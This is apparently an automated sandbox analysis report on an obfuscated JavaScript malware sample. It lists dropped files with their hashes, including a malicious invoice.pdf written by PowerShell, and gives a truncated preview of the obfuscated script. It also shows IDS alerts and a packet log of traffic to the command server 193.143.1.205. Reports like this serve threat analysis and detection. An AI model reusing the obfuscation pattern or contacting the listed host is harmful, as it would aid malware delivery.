Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\730786bc-82ea-4c07-bd89-54f32af48bc5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\acecfbd0-6e0d-456d-9bb2-33e1f3739526.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxXGZ4ZGh3mlind9i4ufFXpAXkru
MD5:	41034A6B023B6BB9C723DA146E190954
SHA1:	22C95166FF8A1C4D2AAC25B75D804CEBAAA6ACF2
SHA-256:	52BB8B0CA62248721986D650004C11ACCB0C988B6FBA645D9B4E3557CA87A15D
SHA-512:	6F8CD54BBB750E32FEBD78895F433CCF0C553C56E6B7DDEA03E3EA36ED283084CF6EA6FA8999162999D184B0F04B6E6DAB7F6FC27648EE517F744D7E8DBC8AAD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15081), with CRLF line terminators
Entropy (8bit):	4.918040068723284
TrID:
File name:	24928193762733825739.js
File size:	18'492 bytes
MD5:	57fbafd4c6fa1ef1ced832d3bdcc05a4
SHA1:	db37157f677e8d012eb8aa0bde22762ab0d465b1
SHA256:	69610c063542eb143794c88ae4235f5d4f4c611d9c1d20f26be958ced0771849
SHA512:	551da1528cf5d455762a3ed33744694f20a921d4dbb8ce3f16f9dd59634f8c51ec836993e33f6bc9b3895231cb7aa22e4ececd7abcec5feeca740c952b94eae1
SSDEEP:	384:PAYIYlYe2qS6IUiEaIW0ZG8gcme0KEAUkAamdvPnCKT+n1dRQkb7KDWZF7P:PT21U0Y3Ku
TLSH:	3E824100D428405C8FD05AF17AC20DF98AB50BBDC67082ED56A7729D1A560E6DBF3DBE
File Content Preview:	function zergb(){zwtnb=[1031,3079,5127,4103,2055,3072];var grotg=this[zzlmltjw+jntyttq+mjlfmigq+jxjdxxyp+qoynbqir+mvqqo+tghetto+bkbvgvz](this[rbrrartvq+rmxamuu+uxnqc+mjlfmigq+twsfzupj+zzlmltjw+bkbvgvz][dxntl+mjlfmigq+qoynbqir+jntyttq+bkbvgvz+qoynbqir+rtvo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:20:28.133789+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49721	193.143.1.205	80	TCP
2025-01-10T21:20:31.139212+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49722	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:20:27.309629917 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:27.314739943 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:27.314949989 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:27.321033001 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:27.325818062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133654118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133697033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133733034 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133766890 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133789062 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.133801937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133837938 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133867979 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.133872986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133891106 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.133909941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133944035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133980036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.133982897 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.134057045 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.189196110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.189249039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.189301968 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.189337969 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.233084917 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.258833885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.258878946 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.258915901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.258951902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.258985043 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.259020090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.259076118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.259118080 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.259119034 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.259119034 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.259501934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.259536982 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.259563923 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.259571075 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.259605885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.259622097 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.263490915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263525009 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263552904 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.263560057 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263595104 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263638973 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263653994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263669968 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263683081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263705015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263694048 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.263694048 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.263740063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.263741970 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.263763905 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.279692888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.279723883 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.279757977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.279767036 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.279795885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.279856920 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.354623079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.354670048 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.354835033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.354829073 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.354867935 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.354922056 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.383264065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383304119 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383361101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383395910 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383400917 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.383430958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383488894 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.383657932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383692980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383727074 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.383734941 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.383775949 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.384145021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.384181023 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.384217024 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.384248972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.384253979 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.384284973 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.384320974 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.384954929 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.385030031 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.385055065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.385088921 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.385123968 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.385158062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.385175943 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.385437012 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.385893106 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.385926962 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.385962963 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.386017084 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.386392117 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.386449099 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.386476994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.386512995 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.386548042 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.386580944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.386604071 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.386626959 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.387475014 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.387509108 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.387543917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.387571096 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.387578011 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.387613058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.387641907 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.388320923 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.388355970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.388375044 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.388397932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.388432026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.388463974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.388480902 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.388572931 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.389234066 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.389267921 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.389302015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.389337063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.389354944 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.389374018 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.389400005 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.390096903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.390151024 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.390156031 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.436201096 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.444284916 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.444322109 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.444453955 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.478220940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.478301048 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.478334904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.478368998 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.478394985 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.478404045 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.478420019 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.478434086 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.478477955 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.507666111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.507704020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.507738113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.507797003 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.507882118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.507934093 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.507963896 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.507997036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508032084 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508064985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508097887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508097887 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508126974 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508131981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508205891 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508253098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508301973 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508335114 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508368969 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508368969 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508403063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508424044 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508436918 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508542061 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508634090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508666992 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508699894 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508718967 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508733988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508768082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508800983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508817911 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.508836985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.508888960 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.509068012 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509170055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509177923 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.509205103 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509237051 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509257078 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.509269953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509304047 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509336948 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509357929 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.509371996 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509382010 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.509406090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509438038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509454966 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.509471893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509505033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.509531975 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.509542942 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510118008 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510153055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510173082 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.510186911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510206938 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.510236025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510268927 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510302067 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510320902 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.510338068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510370970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510397911 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.510410070 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510442972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510459900 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.510476112 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510504961 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.510509014 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510544062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.510576010 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:20:28.510957003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 21:20:28.511025906 CET	49721	80	192.168.2.6	193.143.1.205
